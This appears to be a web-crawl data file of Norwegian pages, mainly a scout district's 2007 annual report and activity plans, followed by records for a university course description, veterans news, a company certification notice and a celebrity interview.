\\*1) Forlange ordet til forretningsorden vil si innlegg vedr\u00f8rende behandlingen av saken. \\*2) Sette strek betyr at ingen flere talere kan forlange ordet enn de som m\u00f8telederne allerede har notert. Kretsstyret innstiller: Forretningsorden for kretstinget 2008 godkjennes 3\n\n\n\n\n\n9 3.7 Kretsens/komit\u00e9enes arrangementer m.v Kretsting \u00c5rsm\u00f8tet ble avholdt den 13. mars 2007 i Gausel Bydelshus, med 81 ledere, rovere, speidere og inviterte tilstede. Hinna speidergruppe var teknisk arrang\u00f8r, Lars Meling Hultin og Jon Alsos var m\u00f8teledere. \u00c5rsm\u00f8tet behandlet kretsens \u00e5rsmelding, regnskap, budsjett og arbeidsplan. Det ble valgt kretsstyre, m\u00f8teledere og revisor Kretsstyret Kretsstyret har hatt 10 m\u00f8ter og behandlet 102 saker i l\u00f8pet av \u00e5ret. Av st\u00f8rre saker som kretsstyret har arbeidet med kan f\u00f8lgende nevnes: \u00d8konomi Speidermus\u00e9um Strategiske planer Oppnevnelser Furuneset speidertun Medlemspleie Nytt fra Vesterlen Kretsleir 2007 Kretsens nettsider Det er igjen blitt fors\u00f8kt annonsert etter flere komit\u00e9medlemmer, men ingen har meldt sin interesse. Oppgaver s arbeidsoppgaver best\u00e5r bl.a. i \u00e5 utarbeide forslag til \u00e5rlig arrangementsplan og tilh\u00f8rende budsjett iht. retningslinjer fra kretsstyret. Aktivitetene skal i st\u00f8rst mulig grad v\u00e6re selvfinansierende. Disse har fungert og har arrangert 2 arrangementer; - Vi synger julen ut og Jul i skogen. John Steinar Aske Grethe Myklebust Svein G\u00e5rd Gunvor Opland Arrangementer: Juletreff - Vi synger julen ut 43 personer hadde funnet veien til Sola Strand Hotell til 20.-dagjuls-arrangementet. Tradisjonell feiring med sm\u00f8rbr\u00f8d og te/kaffe. Konkurranser, utlodning, gaver og juletregang. Avslutning med speiderb\u00f8nnen. John Steinar Aske ledet kvelden Rovernes Riskturnering L\u00f8rdag 24. februar 2007 var det klart for de kjempende. Arenaen var igjen lagt til Madla speiderhus. Rovere med venner fra hele Rogaland str\u00f8mmet til ogs\u00e5 i \u00e5r. Arrang\u00f8r var i \u00e5r \u00c5ge \u00d8stb\u00f8 og Geir Helge Krey Bevernes dag. I \u00e5r var det hele to arrang\u00f8rer av Bevernes Dag, og det ble til at John Steinars Askes sitt opplegg ble brukt. Det baserte seg p\u00e5 norske folkeeventyr og beverne gikk en l\u00f8ype i Melshei. 18 bevere og 7 ledere fra tre grupper deltok Melsheitrollet John Steinar Aske hadde ansvaret ogs\u00e5 for Melsheitrollet. Det kom 53 speidere fra Bryne, Randaberg, 2. Stavanger, 1. Tananger Sj\u00f8, 1. Sandnes, 1. Sola og Riska. Deres l\u00f8ype var ogs\u00e5 basert p\u00e5 norske folkeeventyr. Alle sammen fikk deltakermerke og diplom. Det var en str\u00e5lende dag med sol og vindstille i Melshei. Etter en flott innsats ble de tre beste slik: 1. plass: Furu, 1. Sola, 2. plass: Bl\u00e5tt kull 2. Stavanger, 3. plass Hare, Randaberg Kretsbannerkonkurransen \u00c5rets kretsbannerkonkurranse gikk av stabelen p\u00e5 \u00d8lberg i Sola med 1. Sola speidergruppe som arrang\u00f8r. Konkurransen startet i flott v\u00e6r p\u00e5 fredagen med 100 sp\u00f8rsm\u00e5l. L\u00f8rdagen startet med bra v\u00e6r. Det ble laget krabbeteiner og spunnet garn med hjelp av en spinner. Det m\u00e5tte ogs\u00e5 steikes pannekaker i strandkanten. S\u00e5 satte etterhvert regnet inn og kveldens leirb\u00e5l ble en v\u00e5t aff\u00e6re. 9\n\n\n\n10 S\u00f8ndagen opprant med fint v\u00e6r igjen, og rundl\u00f8ypa hadde tradisjonelle \u00f8velser som f\u00f8rstehjelp, naturkjennskap, pionering og stil og sveis. Da alle poeng var fordelt og summert, - flere ganger - viste det seg til slutt at De seilende festl\u00f8ver fra 2. Sandnes sj\u00f8 hadde dratt seieren i land for hele konkurransen, mens Jordb\u00e6rene fra 1. Tananger sj\u00f8 vant stifinnerklassen. De som fikk reise til NM var: 1. plass: De seilende festl\u00f8ver 2. Sandnes sj\u00f8, 2. plass: Gaupe Tasta, 3 plass: Hauk Tasta, 4. plass: Happyteam Hinna, 5. plass: Jerv 2. Stavanger. De 3 beste stifinnerpatruljene var: Jordb\u00e6rene 1. Tananger sj\u00f8, Hare - Randaberg og Jerv Riska Furunesdagene Rundt 75 personer fra 5 grupper som hadde funnet veien opp i Dalen p\u00e5 J\u00f8rpeland. Det var for det meste flokkspeidere som var med i \u00e5r, da de store svettet over forh\u00e5ndsoppgavene og la siste h\u00e5nd p\u00e5 verket f\u00f8r kretsleir 07. Wigdis Kals\u00e5s arrangerte og det ble en fin helg Milj\u00f8kveld for rovere og ledere Denne gangen var vi invitert til Kongeparken. H\u00e5kon Lund stilte H\u00f8ydeskrekk til disposisjon, samt det store teltet og et hus. 53 rovere og ledere benket seg i teltet f\u00f8r de fleste gikk for \u00e5 pr\u00f8ve ut h\u00f8ydeskrekken sin. Vertskap var kretsstyret, og menyen for kvelden var grillet pizza i variantene Thai chicken og Italiano, wraps med svinekj\u00f8tt og mangosaus og dessert; bl\u00e5b\u00e6rsuppe med sjokolade Fredslyset St. Georgsgildene i Norge ordner det slik at Fredslyset kommer tidsnok til \u00e5 kunne brukes f\u00f8rste s\u00f8ndag i advent. Lyset ankom i \u00e5r Stavanger jernbanestasjon fra Kristiansand torsdag kveld 29. november med DL Eli Godeseth Jul i skogen - nissefest for sm\u00e5speidere/bevere Det ble avholdt nissefest p\u00e5 Speidermarka ved Stokkavatnet for bevere og sm\u00e5speidere. Mange sm\u00e5 og store m\u00f8tte opp, hele 123 stykker fra 6 grupper. Det ble en fin kveld der regnet holdt seg borte nesten til slutten. Det ble servert gr\u00f8t og saft, fredslyset var tilstede, det ble refleksl\u00f8ype til nissen og gang rundt juletreet. Den fineste nisselederen fikk premie Roverjul Roverlaget TURbo fra 2. Stavanger ved Helge Bjelland var arrang\u00f8r. Ca 25 rovere kom. Det ble servert gr\u00f8t og spekemat. Ellers ble det konkurranser og sosialt samv\u00e6r Old Guides Old Guides, Vesterlen har 10 OG-grupper og teller 55 medlemmer, noen er direkte medlemmer i egne grupper. Tradisjonen tro m\u00f8ttes vi til Tenkedagstreff p\u00e5 Bl\u00e5haug. Vi var 29 stykker. Vi feiret Speiding i 100 rundt nydelig dekkede bord med en gul rose i gave til hver. Vi fikk bes\u00f8k av speidersjefen som hilste oss med tale og konfekt. Det vakte stor jubel. Aud M.K. oppdaterte oss p\u00e5 situasjonen i resten av verden. Tenkedagspenger ble ca. kr ,-. \u00c5rsm\u00f8tet for kretsens OG ble holdt i Randaberg forsamlingshus med 42 tilstede. Vi fokuserte spesielt p\u00e5 50- \u00e5rs-jubileet for samlingen av Stavanger Old Guides. Dette var den spede begynnelsen til samlingen av kretsens OG-grupper. Vi f\u00f8lte oss be\u00e6ret over \u00e5 ha p\u00e5 bes\u00f8k b\u00e5de kretsleder Solveig Hellstr\u00f8m, regnskapsf\u00f8rer Reidun Egeland og daglig leder Eli Godeseth. OG-treffet sentralt var i Asker og vi hadde 14 deltakere med der. Asta Jacobsen gikk ut som sekret\u00e6r etter tilm\u00e5lte 6 \u00e5r. Else Karin Bjelland, Randaberg OG overtok jobben som sekret\u00e6r i det sentrale styret. Gunvor Ness fra Randaberg OG er varamedlem til det sentrale styret. Sunrise Ceremony ble arrangert i regi av OG i M\u00f8llebukta ved Hafrsfjord 1. august Stedet ble valgt pga at de tre sverdene med sin symbolikk er malen for kretsmerket v\u00e5rt. H\u00f8sten var vi opptatt med basarforberedelser med gevinster, loddsalg og basardag 27. oktober. 56 hadde funnet veien dit til en hyggelig og innbringende basardag. Netto fikk vi inn ca. kr ,-. Vi takker v\u00e5re speidermenn som er med og gir en h\u00e5nd til det praktiske for \u00e5 f\u00e5 gjennomf\u00f8rt basardagen. Kretsstyret var representert med Livar Risa og Geir Helge Tj\u00f8stolvsen-Schmidt. Livar mottok to flagg til Furuneset. Gunnar Skundberg representerte Furuneskomit\u00e9en og takket OG-ene for innsatsen for leirstedet. Gaver til Furuneset i 2007: Ett flagg og ett stormflagg, st\u00f8vsuger og kj\u00f8leskap. 10\n\n\n\n11 3.7.5 Internasjonal kontakt Ogs\u00e5 i 2007 var det utenlandske grupper som bes\u00f8kte oss her i Vesterlen. Det ser ut for at Furuneset er et meget godt tilbud for b\u00e5de oss selv, og spesielt utenlandske grupper som kommer for \u00e5 oppleve \"vill natur\". If\u00f8lge de grupper som vi har hatt kontakt med, finnes det n\u00e5 ingen lignende plass noen andre steder i Europa. Lignende plasser fantes f\u00f8r, men byene er vokst helt innp\u00e5 disse slik at villskapen i naturen uteblir. Da er det kjekt \u00e5 jobbe som internasjonal kontakt. Dette \u00e5ret hadde vi CENTENNIAL BEAR fra CANADA p\u00e5 bes\u00f8k. En liten bamse som ble sendt rundt hele verden. Tilbudet kom sentralt til Oslo, men ingen andre s\u00e5 seg i stand til \u00e5 ta imot denne bamsen, og vi i Vesterlen ble s\u00e5 spurt om vi kunne gj\u00f8re noe. Bamsen var med p\u00e5 kretsleiren og er ogs\u00e5 avbildet i Nytt fra Vesterlen. Vi har i \u00e5r f\u00e5tt henvendelser fra speidere fra flere andre land, om hva, hvem, hvordan og hvorfor som vi har svart p\u00e5. I \u00f8yeblikket har vi kontakt med en gruppe som kommer fra Tyskland, og som har v\u00e6rt her tidligere. De skal v\u00e6re to uker p\u00e5 Furuneset i juli Vesterlen speidermus\u00e9um FORM\u00c5L: Vesterlen speidermuseum har som form\u00e5l \u00e5 ivareta speidingens historie, spesielt i Vesterlen. Historien sikres gjennom gjenstander, bilder, lyd og tekst m.m. Dugnaden i lokalene p\u00e5 R\u00f8yneberg i Sola kommune fortsetter, og det innerste rommet, som er stue /oppholdsrom er s\u00e5 godt som ferdig. Det er lagt inn vann, og toalett er p\u00e5 plass. Det er lagt ned flere hundre timer med dugnad s\u00e5 langt. Dugnadstimene fordeler seg p\u00e5 noen f\u00e5 personer. Vi h\u00e5per \u00e5 ferdigstille mus\u00e9et i NfV er ogs\u00e5 i \u00e5r blitt brukt til \u00e5 holde kretsens ledere og rovere orientert om fremgangen. Vi takker for dugnadsinnsatsen og for gaver som er mottatt i Ledertrening Komit\u00e9 ledertrening Komit\u00e9ens arbeid Komit\u00e9en har hatt tre m\u00f8ter p\u00e5 v\u00e5ren og to p\u00e5 h\u00f8sten. Av saker komit\u00e9en har arbeidet med utenom planer i forbindelse med kurs/seminarer kan nevnes: Jobbet med \u00e5 finne nye emnekurs det er behov for. Invitert til ledertrenerseminar for regionene p\u00e5 Vestlandet p\u00e5 v\u00e5ren. Det ble avlyst pga d\u00e5rlig p\u00e5melding. Sett p\u00e5 hva komit\u00e9en kan bidra med i forbindelse med kretsens strategiske plan fram til V\u00e6rt ansvarlig for ledertrenerseminar h\u00f8st. Har arbeidet en del utenom komit\u00e9m\u00f8tene for \u00e5 gjennomf\u00f8re det oppsatte programmet. Leder og enkeltmedlemmer i komit\u00e9en har deltatt i og hatt innslag p\u00e5 arrangementer i kretsen. Jobbet med \u00e5 finne nye ledere som kan delta i stab p\u00e5 kurs i kretsen, ta ledertreningskurs og nye medlemmer til komit\u00e9en. 11\n\n\n\n14 Oppgaver innen sentrale NSF Lars Atle Andersen Speidersjef fra Speidertinget 2006 Leder for Speidernes Fellesorganisasjon fra 1. jan Knut Slettebak Speiderstyremedlem International Commissioner WOSM for NSF. Gunnar Skundberg Regionansvarlig for ledertrening i region 4, Vesterlen krets. Seilas til World Jamboree 2007 for NSF. Sigmund Andreassen Koordinator for sj\u00f8speiding i Norge. Wigdis Kals\u00e5s Mentor i NSFs Mentorprogram. Ivar A. N\u00f8ttestad Leder for Speidernes beredskapstelefon Steinar Apeland Medlem av Prosjektgruppen for Roverforum 2008 Aud Mork Knutsen Medlem av hovedkomit\u00e9en for Furuneset speidertun Asta Jacobsen Sekret\u00e6r i O.G.-komit\u00e9en sentralt frem til \u00e5rsm\u00f8te sommeren 07. Else Karin Bjelland Sekret\u00e6r i O.G.-komit\u00e9en sentralt fra \u00e5rsm\u00f8te sommeren 07. Gunvor Ness Varamedlem til O.G.-komit\u00e9en sentralt 3.11 Sluttord Kretsleiren p\u00e5 Landa i juni st\u00e5r som det sterkeste minne fra fra 23 grupper deltok og tilbakemeldingene var veldig positive. Noen syntes det var for mange forh\u00e5ndsoppgaver, men vi tror at disse bidro sterkt til at rammen rundt leiren ble s\u00e5 vellykket. Tusen takk til leirkomiteen som gjorde en kjempeflott innsats. Kretsstyret gjorde i h\u00f8st ferdig strategisk plan for kretsen. Planen gjelder fram til 2016, men det er delm\u00e5lene fram til 2009 som er hovedfokus. Strategisk plan ble presentert p\u00e5 samling for gruppeledelsen i november, og er i tillegg sendt ut til alle grupper. Vi h\u00e5per n\u00e5 gruppene tar ballen videre og lager seg sine m\u00e5l. Man beh\u00f8ver ikke ha med alle m\u00e5lene som kretsen har satt. Det er bedre \u00e5 plukke ut noen f\u00e5 punkter og jobbe aktivt med dem. Ledertrenerkomiteen og kretsstyret brukte den strategiske planen som basis da vi har laget arbeidsplanen for I henhold til vedtak i kretsting 2007, fokuseres det n\u00e5 sterkt p\u00e5 vandrerne og vi h\u00e5per gruppene er aktive i forhold til \u00e5 f\u00e5 dem til \u00e5 delta p\u00e5 disse arrangementene. \u00c5pningen av Vesterlen Speidermuseum er dessverre utsatt p\u00e5 ubestemt tid. \u00c5rsaken er hovedsakelig mangel p\u00e5 dugnadsinnsats. I h\u00f8st har det v\u00e6rt tre ildsjeler som har st\u00e5tt utrolig p\u00e5. I skrivende stund gjenst\u00e5r det en del sparkling og maling, samt trekking av elektriske kabler. O.G-ene har nok en gang tatt ansvar, noen av dem har p\u00e5tatt seg \u00e5 merke alle gjenstander som kommer inn til mus\u00e9et. Endelig har vi f\u00e5tt tippemidler til Furuneset, og det vil n\u00e5 gi Furuneskomit\u00e9en mulighet til \u00e5 sette i gang planlagte prosjekter. Vi h\u00e5per mange vil v\u00e6re med p\u00e5 dugnad, slik at vi kan f\u00e5 oppgradert Furuneset til den standard vi alle \u00f8nsker at leirstedet skal ha. I 2007 deltok det ca. 200 p\u00e5 kurs i regi av ledertrenerkomiteen. Denne komiteen legger ned et imponerende arbeide som blir lagt merke til over hele landet. Men vi trenger enda flere ledertrenere\\! Kretsstyrets m\u00e5l er at vi klarer \u00e5 samarbeide i enda st\u00f8rre grad og at vi st\u00f8tter og oppmuntrer hverandre. Vi har hatt nedgang i medlemstallet i For at vi skal klare \u00e5 snu trenden m\u00e5 vi hele tiden ha fokus p\u00e5 lederkvalitet. Med lederkvalitet mener vi b\u00e5de kvaliteten p\u00e5 lederne og kvaliteten p\u00e5 det arbeidet som gj\u00f8res for lederne. Kretsen har en sunn \u00f8konomi. Resultatet fra 2007 viser et overskudd mens vi hadde budsjettert med underskudd. Aktiviteter krever ikke bare penger men ogs\u00e5 id\u00e9er, arbeidsinnsats og arrang\u00f8rer. Som dere skj\u00f8nner st\u00e5r det ikke p\u00e5 kretsens \u00f8konomi, men p\u00e5 villige ledere. Tar du utfordringen? 14\n\n\n\n\n23 5.2 Aktivitetsplan 2009 Aktivitet M\u00e5lgruppe Ansvarlig Kretsting \u00c5rsm\u00f8te i kretsting Valgte delegater Kretsstyret Ledersamlinger Vi synger julen ut Samlinger for gruppeledelsen Milj\u00f8kveld for ledere og rovere Lederintro Sikkerhetskurset: Alle ledere Gruppeledelse Alle ledere Nye hjelpere / ledere - Sikkerhet p\u00e5 tur Nye ledere - F\u00f8rstehjelpskurs Nye ledere - Nyingen Nye foreldreledere Programkurset: - Treningsprogrammet Nye ledere - Veiledning som metode Nye ledere Lederkurset - Speiderlederkurset Ledere m/progr.kurset Kurs i gruppeledelse, del 1 og del 2 Seminar for nye gruppeledere Emnekurs over en kveld Gruppeledere / andre ledere Nye gruppeledere Alle ledere - emner fastsettes senere Seminar for ledertrenere Furunesdagene Ledertrenere Alle Rover Speider Sm\u00e5speider Bever Old-Guides Grunnkurs i beredskap Vi synger julen ut Riskturnering Furunesdagene Milj\u00f8kveld for ledere og rovere Roverjul Kretsbannerkonkurranse Patruljef\u00f8rerkurs, stifinner Patruljef\u00f8rerkurs, vandrer Furunesdagene Furunesdagene Melsheitrollet Jul i skogen Furunesdagene Bevernes dag Jul i Skogen Tenkedagen 22. februar Sommertreff m/\u00e5rsm\u00f8te Basardag m/inv. til alle i kretsen Rovere Rovere Rovere Rovere Rovere Rovere Speiderpatruljer Peffer/asser kl. Peffer/asser kl. Speidere Sm\u00e5speidere Sm\u00e5speidere Sm\u00e5speidere Bevere Bevere Bevere Alle Medlemmer Alle Kretsstyret Kretsstyret Ledertrenerkomit\u00e9en Ledertrenerkomit\u00e9en Ledertrenerkomit\u00e9en Ledertrenerkomit\u00e9en Ledertrenerkomit\u00e9en Ledertrenerkomit\u00e9en Ledertrenerkomit\u00e9en Ledertrenerkomit\u00e9en Ledertrenerkomit\u00e9en Ledertrenerkomit\u00e9en Ledertrenerkomit\u00e9en RBG Ledertrenerkomit\u00e9en Ledertrenerkomit\u00e9en OG-komit\u00e9en OG-komit\u00e9en OG-komit\u00e9en Gjennomf\u00f8ring av arrangementer og aktiviteter avhenger av at grupper/ledere/speidere tar p\u00e5 seg ansvaret for \u00e5 v\u00e6re utf\u00f8rende/teknisk arrang\u00f8r. Det er \u00e5pent for andre arrangement p\u00e5 initiativ fra medlemmer, ledere og/eller grupper som er villige til \u00e5 v\u00e6re arrang\u00f8r. Kretsstyret innstiller: Aktivitetsplan for 2009 vedtas. 23\n\n24 5.3 Arbeidsm\u00e5l 2008 Kretsens m\u00e5l: Kretsen gj\u00f8r forbundets m\u00e5l til sine, og har i tillegg: Gruppene i kretsen st\u00e5r samlet om \u00e5 fortsatt v\u00e6re Norges st\u00f8rste krets med en god og sunn \u00f8konomi, velfungerende komit\u00e9er og et kretskontor bemannet med minst \u00e9n 100 % stilling som ivaretar de oppgaver kretsen er satt til gjennom lover, vedtak og arbeidsm\u00e5l. Vedtatt p\u00e5 \u00e5rsm\u00f8te i kretsting 13. mars Arbeidsm\u00e5l 2009 Vesterlen krets har vedtatt en strategisk plan for Delm\u00e5l fram til 2009 er f\u00f8lgende: Lederkvalitet: 40 % av alle ledere har gjennomf\u00f8rt minimum grunntrening. Gjennomf\u00f8ring av b\u00e5de helge- og kveldskurs hvert \u00e5r. Minst 70 % av gruppene i kretsen skal ha etablert en lederpatrulje. Etablere prosjektgrupper som kan arrangere de faste aktivitetene som kretsen har hvert \u00e5r. Alle gruppene som \u00f8nsker det kan f\u00e5 bes\u00f8k av en fra kretsstyret eller ledertrenerkomit\u00e9en hvert \u00e5r. Gjennomf\u00f8re to samlinger i 2008 og \u00e9n v\u00e5ren Vekst- Rekruttering: \u00d8ke medlemstallet med 10 % m\u00e5lt mot % av gruppene bruker rekrutteringsmateriell aktivt. 50 % av gruppene har en strategi for hvordan man skal beholde medlemmene i overgang mellom flokk/tropp. \u00d8ke antall vandrere i kretsen med 5 %. 50 % av gruppene har roverlag. Samfunnsengasjement: Vesterlen krets ytrer seg i saker som ang\u00e5r den i kommuner og fylke, og bli et naturlig kontaktpunkt for pressen. Vesterlen krets engasjerer seg for \u00e5 f\u00e5 flere barn og unge til \u00e5 v\u00e6re ute i naturen. Alle arrangement er gr\u00f8nne arrangement, og hytter drives milj\u00f8vennlig. 80 % av gruppene deltar i Speideraksjonen. Vi lever som vi l\u00e6rer. En speider er n\u00f8ysom, verner om naturen og arbeider for fred og forst\u00e5else. Ogs\u00e5 utenom speiderm\u00f8tene. Kretsstyret innstiller: Forslag til Arbeidsm\u00e5l 2009 vedtas. 24\n\n REFERAT FRA M\u00d8TE I KOMIT\u00c9 SPEIDING 30. OKTOBER 2011 Til stede: Arne N\u00f8rsteb\u00f8 (leder), Elin Vannes, Ingeborg Engh, Kathrine Myhre Nordby, Morten Qvenild Andersen, Raymond Homme, Solveig Ugelstad Rivelsrud\n\n### Kyllingleken ble ett av innslagene p\u00e5 Speider- og Roverforum p\u00e5 Bryne 7. mars, og alle m\u00e5tte v\u00e6re med\\!\n\n", "language": "no", "__index_level_0__": "3ad54362-f311-4869-bdd8-216120ed149e"}
{"url": "http://www.hig.no/studiehaandbok/studiehaandboeker/2016_2017/emner_2016_2017/avdeling_for_informatikk_og_medieteknikk/imt3950009_emneoverbyggende_prosjekter_vi_bachelor_mediedesign", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00791.warc.gz", "warc_date": "2018-03-24T23:23:25Z", "text": "    # Aud Gloppen\n    \n    Grafisk design, typografi, redaksjonell design. Designer og partner i Bl\u00e6st design, Oslo. Utdanningsbakgrunn: Skolen for grafisk design, Ecole des Beaux Arts d'Angers, Universitetet i Oslo\n    \n**1. januar 2016 fusjonerte H\u00f8gskolen i Gj\u00f8vik med NTNU.**  \nEmnebeskrivelser og studieplaner p\u00e5 disse sidene er fremdeles gyldige.\n\n# Emneoverbyggende prosjekter VI (Bachelor mediedesign)  \n## Forventet l\u00e6ringsutbytte\n\nStudenten har etter \u00e5 ha gjennomf\u00f8rt de emneoverbyggende prosjektene (I\u2013X) sakte men sikkert utviklet seg som analytiker, konseptutvikler og formgiver. Studenten har ogs\u00e5 etablert et bredt repertoar av l\u00f8sningstyper og gjengse grafiske grep og kan dermed som designer h\u00e5ndtere en rekke typiske sjangrer innen papir- og skjermmediert kommunikasjon og interaksjon. Studenten har dermed et godt startgrunnlag for \u00e5 kunne utvikle og designe gode og kreative kommunikasjonsl\u00f8sninger. I tillegg er n\u00f8dvendige tekniske ferdigheter for utvikling og implementering av designl\u00f8sninger for papir og skjerm sakte men sikkert raffinert og internalisert.\n\n## Emnets temaer\n\n\u00abEmneoverbyggende prosjekter\u00bb (I\u2013X) er praktiske designprosjekter som supplerer eller videref\u00f8rer temaer fra emner som \u00abTypografi\u00bb, \u00abManuskriptredigering og typografi\u00bb, \u00abStrategisk design\u00bb, \u00abErgonomi i digitale medier\u00bb, \u00abInformasjonsarkitektur\u00bb, \u00abInformasjonsgrafikk\u00bb og \u00abVeifinningssystemer\u00bb. Enkelte av prosjektene kan v\u00e6re reelle prosjekter med ekstern oppdragsgiver; og blant annet av den grunn vil temaet for hvert enkelt \u00abemneoverbyggende prosjekt\u00bb kunne variere fra skole\u00e5r til skole\u00e5r.\n\nDe emneoverbyggende prosjektene vil typisk dreie seg om webdesign med fokus p\u00e5 anvendelse av standarder som HTML og CSS, design for leseplater og mobile enheter, typografisk komposisjon, bedrifts- eller eventprofilering, emballasjedesign, design av \u00e5rsrapporter med integrert informasjonsgrafikk, utvikling og formgivning av effektive og brukervennlige papirbaserte eller elektroniske skjema, magasindesign, avisdesign, tidsskriftdesign, bokseriedesign, kalligrafi, skriftdesign, utstillingsdesign, logodesign, plakatdesign og utvikling av egen portef\u00f8lje av designprosjekter.\n\n## Pedagogiske metoder\n## Pedagogiske metoder (fritekst)\n\nIndividuelt prosjektarbeid, med formativ-iterativ evaluering (gjentatte omganger med underveisveiledning).\n\n## Vurderingsformer\n\nMappevurdering (utfyllende opplysning i tekstfelt)\n\n## Vurderingsformer\n\nSummativ vurdering etter semesterets avslutning: Best\u00e5tt / ikke-best\u00e5tt. Prosjektet/prosjektene inng\u00e5r s\u00e5 midlertidig i en arbeidsmappe og kan senere velges ut til \u00e5 inng\u00e5 i en endelige presentasjonsmappe (med praktiske prosjekter) som vurderes av interne og eksterne sensorer ved avslutning av studiets tredje og siste \u00e5r (karakterskala A-F). Se studieplanen for Bachelor i mediedesign for ytterligere opplysninger om den endelige mappevurderingen av delemnene som inng\u00e5r i hovedemnet \"Praktiske designprosjekter\" (70 studiepoeng).\n\n## Karakterskala\n\n", "language": "no", "__index_level_0__": "f937845c-30c8-43fe-a269-8d80e306e135"}
{"url": "http://siops.no/i-media?start=15", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:26:19Z", "text": "## Fra elitesoldat til arbeidsledig\n\n    Publisert torsdag 11. mai 2017 10:46\n\n\\- Det er et kultursjokk \u00e5 bli sivil. B\u00e5de \u00e5 g\u00e5 inn i forsvaret, og \u00e5 forlate det, er en stor omstilling for mange. Jeg stod p\u00e5 bar bakke og ikke visste hvor jeg skulle starte. Du mister nettverket ditt, og du vet ikke hvor du skal g\u00e5 inn.\n\nDette sier Afghanistan-veteran Kenneth Bjerkelund til NRK. Etter \u00c5tte \u00e5r\u00a0i Forsvaret sto han uten jobb i det sivile arbeidslivet. Han etablerte og driver i dag Leading Change - LEAD/, et rekrutteringsfirma som har som m\u00e5l \u00e5 lette overgangen fra milit\u00e6rt til sivilt arbeidsliv.\u00a0\n\n## F\u00e5r medalje for psykisk skade\n\n    Publisert torsdag 11. mai 2017 10:35\n\nAfghanistan-veteran Nicholas Dreyer Heimgard mottok Forsvarets medalje for s\u00e5rede strid den 8.mai. Nicholas fikk posttraumatisk stresslidelse (PTSD) etter tjenesten i 2011. Han er den andre soldaten som mottar s\u00e5ret i strid for psykisk skade, og den f\u00f8rste som st\u00e5r fram offentlig.\n\nDette er en utrolig viktig og synlig anerkjennelse av veteraner som blir psykisk skadd. Les mer om tildelingen p\u00e5 Forsvarets nettsider.\u00a0\n\n## Samling av mediesaker i forbindelse med rapporten til utvalget \"Nye veteraner\"\n\nI forbindelse med overrekkelse av rapporten fra utvalget \"Nye veteraner\" til SIOPS den 24. mars var den rekke medieoppslag der rapportens 16 tiltak ble omtalt. Nedenfor har vi samlet noen av oppslagene.\n\n", "language": "no", "__index_level_0__": "590f91e3-1320-471d-a789-0b4fce6b3e56"}
{"url": "http://brekkestrand.no/brekke-strand-er-great-place-to-work-sertifisert/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00258.warc.gz", "warc_date": "2018-03-24T23:14:22Z", "text": "## Brekke\\&Strand er Great Place to Work\u00ae sertifisert\n\n\n\n# Brekke\\&Strand er Great Place to Work\u00ae sertifisert\n\nGreat Place to Work\u00ae er et globalt konsulent og analyse institutt med over 25 \u00e5rs erfaring i \u00e5 m\u00e5le og utvikle tillitsbasert kultur og ledelse p\u00e5 arbeidsplasser. *Great Place to Work Sertifisert* og deres utmerkelser for *De Beste Arbeidsplassene* tildeles de organisasjoner som beviselig har skapt en god arbeidsplass for sine medarbeidere.\n\nBrekke & Strand Akustikk AS har i \u00e5r oppn\u00e5dd denne sertifiseringen.\n\n*GPTW sertifiseringen er en bekreftelse p\u00e5 at det vi i Brekke & Strand tror p\u00e5 og jobber for virker. Brekke & Strand er 'Great Place to Work' for snart 70 kompetente og engasjerte ansatte*.\n\n\n\n", "language": "no", "__index_level_0__": "18a0fa75-f03d-407e-80ec-2c44333e285e"}
{"url": "https://www.seher.no/kjendis/jeg-kunne-aldri-vaere-trygg/64250673", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00236.warc.gz", "warc_date": "2018-03-24T23:28:17Z", "text": "# \\- Jeg kunne aldri v\u00e6re trygg\n\nHerbj\u00f8rg Wassmo (71) har enn\u00e5 ikke lagt farens overgrep bak seg.\n\n21\\. desember 2013 kl. 11.02\n\n  Hedda Fannemel Espeli  \n\nSEOGH\u00d8R.NO: Den anerkjente forfatteren Herbj\u00f8rg Wassmo (71) fortalte for fire \u00e5r siden at hun ble utsatt for overgrep fra sin egen far da hun var barn.\n\nAvsl\u00f8ringen kom i forbindelse med lanseringen av familiekr\u00f8niken \u00abHundre \u00e5r\u00bb, mens \u00e5rets bok fra forfatteren - \u00abDisse \u00f8yeblikk\u00bb - ogs\u00e5 inneholder noe av den samme tematikken.\n\nI et intervju med VG Helg forteller 71-\u00e5ringen at hun finner god terapi i \u00e5 fortape seg i sitt sv\u00e6rt forseggjorte dukkehus med detaljerte miniatyrm\u00f8bler og - dukker.\n\n**- Denne lekenheten i ro og fred betyr mye for meg. Jeg ble veldig tidlig voksen og mistet roen til \u00e5 leke. Det var for mye ansvar, for mye sorg, forteller Wassmo \u00e5penhjertig.**\n\n\u00abDinas bok\u00bb-forfatteren innr\u00f8mmer at hun fortsatt sliter med raseriet og sorgen over sin tapte barndom. Da er det \u00e5 \u00abputle med de sm\u00e5 miniatyrtingene\u00bb en god m\u00e5te \u00e5 f\u00e5 utl\u00f8p for f\u00f8lelsene.\n\n\\- Min barndom var full av skygger. Jeg kunne aldri v\u00e6re trygg. Men i livet mitt n\u00e5 og i dukkehuset er det jeg som er sjefen, understreker hun i intervjuet.\n\nDen sympatiske skribenten, som holdt tett om farens overgrep i mange ti\u00e5r, har enn\u00e5 ikke lagt opplevelsene og skammen bak seg. Men Wassmo har funnet ut at det \u00e5 bearbeide traumene og finne en m\u00e5te \u00e5 leve med dem, kan v\u00e6re den beste m\u00e5ten \u00e5 ufarliggj\u00f8re dem p\u00e5.\n\n**LES OGS\u00c5:** Scheies traumatiske mareritt\n\n  - kjendis\n  - herbj\u00f8rg wassmo\n  - overgrep\n\n# Kom ut av skapet p\u00e5 tv\n\n# \\- Du f\u00e5r litt \u00abnoia\u00bb\n\n", "language": "no", "__index_level_0__": "1c79ffb6-7909-4892-99b4-08e9c214884d"}
